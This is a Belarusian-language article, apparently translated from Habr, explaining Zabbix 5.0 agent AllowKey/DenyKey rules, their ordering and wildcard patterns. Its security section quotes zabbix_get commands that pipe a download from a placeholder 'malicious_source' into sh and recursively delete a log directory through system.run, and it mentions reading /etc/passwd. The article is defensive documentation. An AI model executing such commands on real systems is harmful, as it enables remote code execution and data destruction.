Падтрымка чорных і белых спісаў для метрык на баку агента ў Zabbix 5.0

Падтрымка чорных і белых спісаў для метрык на баку агента

Ціхан Ускоў, Інжынер інтэграцыі, Zabbix

Праблемы бяспекі дадзеных

У Zabbix 5.0 з'явілася новая функцыя, якая дазваляе палепшыць бяспеку ў сістэмах з выкарыстаннем Zabbix Agent і замяняе стары параметр EnableRemoteCommands.

Удасканаленне бяспекі сістэм з выкарыстаннем агента абумоўлена тым фактам, што агент можа выконваць вялікую колькасць патэнцыйна небяспечных дзеянняў.

• Агент можа збіраць практычна любую інфармацыю, у тым ліку канфідэнцыйнага ці патэнцыйна небяспечнага характару, з файлаў канфігурацыі, файлаў логаў, файлаў з паролямі ці любых іншых файлаў.

Напрыклад, з дапамогай утыліты zabbix_get можна атрымаць доступ да спісу карыстальнікаў, іх хатніх каталогаў, файлаў з паролямі і г.д.

Доступ да дадзеных з дапамогай утыліты zabbix_get

УВАГА. Дадзеныя могуць быць атрыманы, толькі калі агент мае права на чытанне адпаведнага файла. Але, напрыклад, файл /etc/passwd/ даступны для чытання ўсім карыстальнікам.

• Агент таксама можа выконваць патэнцыйна небяспечныя каманды. Напрыклад, ключ *system.run[]** дазваляе выконваць любыя выдаленыя каманды на вузлах сеткі, у тым ліку запускаць з вэб-інтэрфейсу Zabbix скрыпты, якія таксама выконваюць каманды на баку агента.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

• У Linux агент па змаўчанні запускаецца без root-прывілеяў, тады як у Windows ён запускаецца як сэрвіс ад імя System і мае неабмежаваны доступ да файлавай сістэмы. Адпаведна, калі пасля ўсталёўкі ў параметры Zabbix Agent не занесены змены, агент мае доступ да рэестру, файлавай сістэме і можа выконваць WMI запыты.

У больш ранніх версіях параметр EnableRemoteCommands=0 дазваляў толькі адключаць метрыкі з ключом *system.run[]** і выкананне скрыптоў з вэб-інтэрфейсу, але пры гэтым не было магчымасці абмежаваць доступ да асобных файлаў, дазволіць або забараніць асобныя ключы, якія ўсталёўваліся разам з агентам, або абмежаваць выкарыстанне асобных параметраў.

Выкарыстанне параметра EnableRemoteCommand у ранніх версіях Zabbix

AllowKey/DenyKey

Zabbix 5.0 дапамагае абараніцца ад такога несанкцыянаванага доступу дзякуючы белым і чорным спісам для дазволу і забароны метрык на баку агента.

У Zabbix 5.0 усе ключы, у тым ліку *system.run[]**, дазволеныя, і дададзеныя два новыя параметры канфігурацыі агента:

AllowKey= - дазволеныя праверкі;

DenyKey= - забароненыя праверкі;

дзе - патэрн імя ключа з параметрамі, у якім выкарыстоўваюцца метасімвалы (*).

Ключы AllowKey і DenyKey дазваляюць дазволіць ці забараніць асобныя метрыкі па вызначаным шаблоне. У адрозненне ад іншых параметраў канфігурацыі колькасць параметраў AllowKey/DenyKey не абмежавана. Гэта дазваляе дакладна вызначыць, што менавіта агент можа рабіць у сістэме дзякуючы стварэнню дрэва праверак - выкананых ключоў, дзе вельмі важную ролю адыгрывае парадак іх напісання.

Паслядоўнасць правіл

Правілы правяраюцца ў тым парадку, у якім яны ўнесены ў канфігурацыйны файл. Праверка ключа па правілах адбываецца да першага супадзення, і як толькі ключ элемента дадзеных супадае з патэрнам, ён дазваляецца ці забараняецца. Пасля гэтага праверка правіл спыняецца, і астатнія ключы ігнаруюцца.

Таму калі элемент адпавядае і дазвольнаму, і забараняльнаму правілу, вынік будзе залежаць ад таго, якое правіла будзе першым у канфігурацыйным файле.

2 розных правілы з аднолькавым патэрнам і ключ vfs.file.size[/tmp/file]

Парадак выкарыстання ключоў AllowKey/DenyKey:

1. дакладныя правілы,
2. агульныя правілы,
3. забараняльнае правіла.

Напрыклад, калі вам неабходны доступ да файлаў у вызначанай тэчцы, неабходна спачатку дазволіць доступ да іх, пасля чаго забараніць усё астатняе, што не пападае пад усталяваныя дазволы. Калі ў першую чаргу будзе выкарыстана забараняльнае правіла, доступ да тэчкі будзе забаронены.

Правільная паслядоўнасць

Калі неабходна дазволіць запуск 2 утыліт праз *system.run[]**, і ў першую чаргу будзе паказана забараняльнае правіла, утыліты запускацца не будуць, таму што першы патэрн будзе заўсёды адпавядаць любому ключу, і наступныя правілы будуць ігнаравацца.

Няправільная паслядоўнасць

Патэрны

Асноўныя правілы

Патэрн - выраз з подстановочными знакамі (wildcard). Метасімвал (*) адпавядае любой колькасці любых сімвалаў у пэўнай пазіцыі. Метасімвалы могуць выкарыстоўвацца як у імені ключа, так і ў параметрах. Напрыклад, можна цвёрда вызначыць тэкстам першы параметр, а наступны паказаць як wildcard.

Параметры павінны быць заключаны ў квадратныя дужкі [].

• system.run[* - няслушна
• vfs.file*.txt] - няслушна
• vfs.file.*[*] - дакладна

Прыклады выкарыстання wildcard.

1. У імені ключа і ў параметры. У дадзеным выпадку ключ не адпавядае аналагічнаму ключу, які не ўтрымоўвае параметр, паколькі ў патэрне мы паказалі, што жадаем атрымаць нейкі канчатак імя ключа і нейкі набор параметраў.
2. Калі ў патэрне не скарыстаны квадратныя дужкі, патэрн дазваляе ўсе ключы, якія не ўтрымоўваюць параметры і забараняе ўсе ключы з паказаным параметрам.
3. Калі ключ запісаны цалкам, а параметры пазначаны як wildcard, ён будзе адпавядаць любому аналагічнаму ключу з любымі параметрамі і не будзе адпавядаць ключу без квадратных дужак, т. е. будзе дазволены ці забаронены.

Правілы запаўнення параметраў.

• Калі маецца на ўвазе выкарыстанне ключа з параметрамі, параметры павінны быць прапісаны ў файле канфігурацыі. Параметры павінны быць пазначаны як метасімвал. Неабходна асцярожна забараняць доступ да якога-небудзь файла і ўлічваць, якую інфармацыю зможа аддаваць метрыка пры розных варыянтах напісання - з параметрамі і без іх.

Асаблівасці напісання ключоў з параметрамі

• Калі ключ паказаны з параметрамі, але параметры з'яўляюцца неабавязковымі і пазначаны як метасімвал, ключ без параметраў будзе дазволены. Напрыклад, калі вы жадаеце забараніць атрыманне інфармацыі аб нагрузцы на CPU і паказваеце, што ключ system.cpu.load[*] павінен быць забаронены, не забывайце, што ключ без параметраў верне сярэдняе значэнне нагрузкі.

Правілы запаўнення параметраў

Нататкі

Настройка

• Некаторыя правілы не могуць быць зменены карыстальнікам, напрыклад, правілы выяўлення (discovery) або аўтарэгістрацыі агентаў. Правілы AllowKey/DenyKey не закранаюць наступныя параметры:
  - HostnameItem
  - HostMetadataItem
  - HostInterfaceItem

УВАГА. Калі адміністратар забараняе які-небудзь ключ, пры запыце Zabbix не выдае інфармацыі аб тым, па якім чынніку метрыка або ключ пападаюць у катэгорыю 'NOTSUPPORTED'. У log-файлах агента інфармацыя аб забаронах на выкананне выдаленых каманд таксама не адлюстроўваецца. Гэта зроблена з меркаванняў бяспекі, але можа ўскладніць адладку, калі метрыкі трапляюць у непадтрымліваемую катэгорыю па якіх-небудзь прычынах..

• Не варта разлічваць на нейкі вызначаны парадак падлучэння вонкавых файлаў канфігурацыі (напрыклад, у алфавітным парадку).

Утыліты каманднага радка

Пасля наладкі правіл неабходна пераканацца, што ўсё наладжана дакладна.

Можна скарыстацца адным з трох варыянтаў:

• Дадаць метрыку ў Zabbix.
• Пратэставаць з дапамогай zabbix_agentd. Zabbix agent з опцыяй -print (-p) паказвае ўсе ключы (якія дазволеныя па змаўчанні), акрамя тых, якія не дазволеныя канфігурацыяй. А з опцыяй -test (-t) для забароненага ключа верне 'Unsupported item key».
• Пратэставаць з дапамогай zabbix_get. Утыліта zabbix_get з опцыяй -k верне 'ZBX_NOTSUPPORTED: Unknown metric».

Дазваляць ці забараняць

Вы можаце забараніць доступ да файла і пераканацца, напрыклад, з дапамогай утыліты zabbix_get, што доступ да файла забаронены.

**

УВАГА. Звычкі ў параметры ігнаруюцца.

Пры гэтым доступ да такога файла можа быць дазволены па іншым шляху. Напрыклад, калі на яго вядзе сімлінк.

Рэкамендуецца правяраць розныя варыянты прымянення задаваных правіл, а таксама ўлічваць магчымасці абысці забароны.

Пытанні і адказы

Пытанне. Чаму для апісання правілаў, дазволаў і забарон выбрана такая складаная схема патэрна са сваёй мовай? Чаму не было магчымасці скарыстацца, напрыклад, рэгулярнымі выразамі, якія выкарыстоўвае Zabbix?

Адказ. Гэта пытанне прадукцыйнасці regex, паколькі агент, як правіла, адзін, і ён правярае вялікую колькасць метрык. Regex - досыць цяжкая аперацыя, і мы не можам правяраць тысячы метрык такім чынам. Wildcards – універсальнае, шорка прымяняльнае і простае рашэнне.

Пытанне. Няўжо файлы Include падлучаюцца не ў алфавітным парадку?

Адказ. Наколькі мне вядома, прадказаць паслядоўнасць ужывання правіл, калі вы разносіце правілы па розных файлах, фактычна немагчыма. Я рэкамендую сабраць усе правілы AllowKey/DenyKey у адным файле Include, таму што яны ўзаемадзейнічаюць сябар з сябрам, і падлучаць гэты файл.

Пытанне. У Zabbix 5.0 опцыя 'EnableRemoteCommands=' у канфігурацыйным файле адсутнічае, і даступныя толькі AllowKey/DenyKey?

Адказ. Так, усё дакладна.

Дзякуй за ўвагу!

Крыніца: habr.com